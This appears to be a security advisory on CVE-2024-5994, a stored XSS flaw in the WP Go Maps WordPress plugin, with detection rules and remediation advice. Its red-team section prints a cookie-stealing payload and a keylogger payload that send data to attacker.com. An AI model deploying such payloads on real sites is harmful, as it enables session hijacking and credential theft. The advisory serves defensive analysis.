CVE-2024-5994

Executive Summary

CVE-2024-5994 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Go Maps (formerly WP Google Maps) plugin for WordPress, affecting versions up to and including 9.0.38. The flaw resides in the Custom JS option, allowing authenticated attackers with contributor-level permissions or higher (who have been explicitly granted permissions by an administrator) to inject arbitrary web scripts. These scripts execute whenever a user accesses an affected page. The vendor’s response in version 9.0.39 is a cautionary notice to administrators, not a code-level fix, leaving the vulnerability effectively unpatched. The CVSS score is 6.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains for sites with lower-privileged users.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or other server software. The attack vector relies on WordPress user roles and plugin permissions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level or higher
• User Interaction: Required (UI:R) – victim must visit the page
• Scope: Changed (S:C) – vulnerable component impacts other resources
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires authenticated access and user interaction, but stored XSS can lead to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in the Custom JS feature of WP Go Maps, which allows administrators to inject custom JavaScript for map customization. In versions <= 9.0.38, the plugin does not properly sanitize or validate the JavaScript input when saved by users with contributor-level permissions or higher (if granted by an admin). This allows an attacker to store malicious JavaScript in the plugin’s database. When a page containing the map is loaded, the injected script executes in the context of the victim’s browser.

Root Cause: Lack of input validation and output encoding for the Custom JS field. The plugin trusts that only administrators will use this feature, but role-based permissions can be misconfigured.

Attack Flow:

1. Administrator grants contributor-level users access to the WP Go Maps plugin.
2. Attacker (with contributor role) navigates to the Custom JS field in the map settings.
3. Attacker injects malicious JavaScript (e.g., <script>alert('XSS')</script>).
4. The script is stored in the WordPress database.
5. When any user (including admin) visits a page with the map, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.0.38): The plugin likely stores the Custom JS input directly without sanitization. Example (pseudo-code):

// In wp-google-maps.php or similar
$custom_js = $_POST['wpgmza_custom_js'];
update_option('wpgmza_custom_js', $custom_js);

No escaping or validation is applied.

Patched Code (9.0.39): The vendor added a caution message but did not fix the code. The input is still stored unsanitized. Example:

// Still vulnerable, but with a warning
$custom_js = $_POST['wpgmza_custom_js'];
update_option('wpgmza_custom_js', $custom_js);
// Added: echo '<div class="notice-warning">Warning: Custom JS can be abused...</div>';

No actual patch exists. The vulnerability remains exploitable.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress site with WP Go Maps <= 9.0.38 installed.
• Attacker account with contributor-level permissions (granted by admin).
• Access to the map editing interface.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Maps → Edit Map → Custom JS tab.
3. Inject payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the map.
5. Wait for an admin or other user to view the page containing the map.
6. The victim’s cookie is exfiltrated.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    new Image().src = 'https://attacker.com/log?key=' + e.key;
});
</script>

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual JavaScript in the wpgmza_custom_js option in the database.
• Look for outbound connections to unknown domains from WordPress admin pages.
• Use WAF rules to block common XSS patterns in POST requests to map settings.

Hunting:

• Query database: SELECT * FROM wp_options WHERE option_name = 'wpgmza_custom_js' AND option_value LIKE '%<script%'
• Check user roles: Ensure only trusted administrators have access to WP Go Maps.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-google-maps/ (presence of plugin)
• Database Entry: wp_options table, option_name = 'wpgmza_custom_js' containing <script> tags
• Network: Outbound HTTP requests to unknown domains from WordPress admin IPs
• Logs: WordPress debug log entries showing JavaScript errors on map pages

Detection Engineering

YARA Rule

rule CVE_2024_5994_WP_Go_Maps_XSS {
    meta:
        description = "Detects stored XSS payload in WP Go Maps Custom JS option"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5994"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "wpgmza_custom_js"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: CVE-2024-5994 WP Go Maps Stored XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS in WP Go Maps Custom JS option
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: 'action=wpgmza_save_map*'
        http.body: 'custom_js*'
        http.body: '|<script*'
    condition: selection
falsepositives:
    - Legitimate admin use of Custom JS
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5994 WP Go Maps Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpgmza_save_map"; http_client_body; content:"custom_js"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to version 9.0.39 (though it only adds a warning, it alerts admins).
2. Restrict permissions: Ensure only trusted administrators have access to WP Go Maps. Remove contributor-level access.
3. Disable Custom JS feature if not needed: Use a plugin like "Code Snippets" to block the option.

Long-term Fix:

• The vendor must implement proper input sanitization and output encoding for the Custom JS field. Example fix:

  $custom_js = sanitize_text_field($_POST['wpgmza_custom_js']); // Not sufficient for JS
  // Better: Use a whitelist approach or disable for non-admins
  if (!current_user_can('administrator')) {
      wp_die('Only administrators can use Custom JS.');
  }
  

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to map settings.
• Monitor database for malicious entries.

Valters IT
Securing Digital Frontiers